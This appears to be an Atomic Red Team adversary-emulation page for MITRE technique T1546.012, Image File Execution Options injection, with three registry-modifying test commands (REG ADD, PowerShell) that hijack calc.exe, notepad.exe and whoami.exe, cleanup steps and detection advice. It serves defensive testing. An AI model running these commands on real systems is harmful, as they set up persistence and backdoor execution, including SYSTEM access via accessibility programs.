T1546.012 - Image File Execution Options Injection#
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<executable> where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
Atomic Tests#
Atomic Test #1 - IFEO Add DebuggerLeverage Global Flags Settings#
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"
Invoke-AtomicTest T1546.012 -TestNumbers 1
Cleanup:#
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /f >nul 2>&1
Invoke-AtomicTest T1546.012 -TestNumbers 1 -Cleanup
Atomic Test #2 - IFEO Global FlagsLeverage Global Flags Settings#
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe"
Invoke-AtomicTest T1546.012 -TestNumbers 2
Cleanup:#
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /f >nul 2>&1
Invoke-AtomicTest T1546.012 -TestNumbers 2 -Cleanup
Atomic Test #3 - GlobalFlags in Image File Execution OptionsThe following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.#
Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value.
Upon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell
$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\whoami.exe"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "MonitorProcess"
$Value = "cmd.exe /c calc.exe"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe
Invoke-AtomicTest T1546.012 -TestNumbers 3
Cleanup:#
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\whoami.exe"
Remove-Item $SilentProcessExit -force
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe"
Remove-Item $registryPath -force
Invoke-AtomicTest T1546.012 -TestNumbers 3 -Cleanup
Detection#
Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)